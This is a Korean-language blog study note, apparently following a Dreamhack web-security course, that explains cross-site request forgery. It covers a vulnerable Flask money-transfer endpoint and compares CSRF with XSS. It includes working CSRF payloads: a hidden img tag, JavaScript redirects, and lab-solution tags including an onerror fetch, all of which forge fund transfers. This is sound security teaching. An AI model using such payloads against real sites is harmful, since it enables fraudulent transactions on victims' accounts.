ClientSide: CSRF
1. Cross Site Request Forgery (CSRF)
1.1. Cross Site Request Forgery (CSRF)
임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점
- 공격자는 임의 이용자의 권한으로 서비스 기능을 사용해 이득을 취할 수 있음
- 이용자의 계정으로 임의 금액을 송금해 금전적인 이득을 취하거나, 비밀번호를 변경해 계정을 탈취하고 관리자 계정을 공격해 공지사항 작성 등으로 혼란을 야기할 수 있음
이용자의 송금 요청
GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1
Host: bank.dreamhack.io
Cookie: session=IeheighaiToo4eenahw3
송금 기능
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
- CSRF 취약점이 존재하는 예제 코드로, 송금 기능을 수행
- 이용자로부터 예금주와 금액을 입력받고 송금을 수행
- 이때 계좌 비밀번호, OTP 등을 사용하지 않기 때문에 로그인한 이용자는 추가 인증 정보 없이 해당 기능을 이용할 수 있음
1.2. Cross Site Request Forgery 동작
- CSRF 공격에 성공하기 위해서는 공격자가 작성한 악성 스크립트를 이용자가 실행해야 함
- 공격자가 이용자에게 메일을 보내거나 게시판에 글을 작성해 이용자가 이를 조회하도록 유도하는 방법이 있음
- 악성 스크립트는 HTTP 요청을 보내는 코드
- CSRF 공격 스크립트는 HTML 또는 Javascript를 통해 작성할 수 있음
CSRF 스크립트 예시
- img 태그를 사용하거나 웹 페이지에 입력된 양식을 전송하는 form태그를 사용하는 방법이 있음
- 이 두 개의 태그를 사용해 HTTP 요청을 보내면 HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함됨
HTML img 태그 공격 코드 예시
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
- img태그는 이미지의 크기를 줄일 수 있는 옵션을 제공
- 이를 활용하면 이용자에게 들키지 않고 임의 페이지에 요청을 보낼 수 있음
Javascript 공격 코드 예시
/* 새 창 띄우기 */
window.open('<http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337>');
/* 현재 창 주소 옮기기 */
location.href = '<http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337>';
location.replace('<http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337>');
- 새로운 창을 띄우고, 현재 창의 주소를 옮기는 등의 행위가 가능
1.3. Cross Site Request Forgery 실습
Javascript 실행이 제한되어 있으므로, HTML 태그를 통해 계좌 잔고를 1,000,000 이상으로 늘리기
<img src="/sendmoney?to=dreamhack&amount=1337">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
...
1.4. XSS와 CSRF의 차이
XSS와 CSRF는 스크립트를 웹 페이지에 작성해 공격한다는 점에서 매우 유사
공통점
두 개의 취약점 모두 클라이언트를 대상으로 하는 공격이며, 이용자가 악성 스크립트가 포함된 페이지에 접속하도록 유도해야 함
차이점
- XSS공격할 사이트의 오리진에서 스크립트를 실행시킴
- 인증 정보인 세션 및 쿠키 탈취를 목적으로 하는 공격
- CSRF공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음
- 이용자가 임의 페이지에 HTTP 요청을 보내는 것을 목적으로 하는 공격
반응형
'Security Study > Web' 카테고리의 다른 글
[Dreamhack] Command Injection (0) | 2024.04.12 |
---|---|
[Dreamhack] SQL Injection (2) | 2024.02.20 |
[Dreamhack] Cross-Site-Scripting (XSS) (2) | 2024.02.09 |
[Dreamhack] Cookie & Session (2) | 2024.02.07 |
[Dreamhack] Background - Web (0) | 2024.02.04 |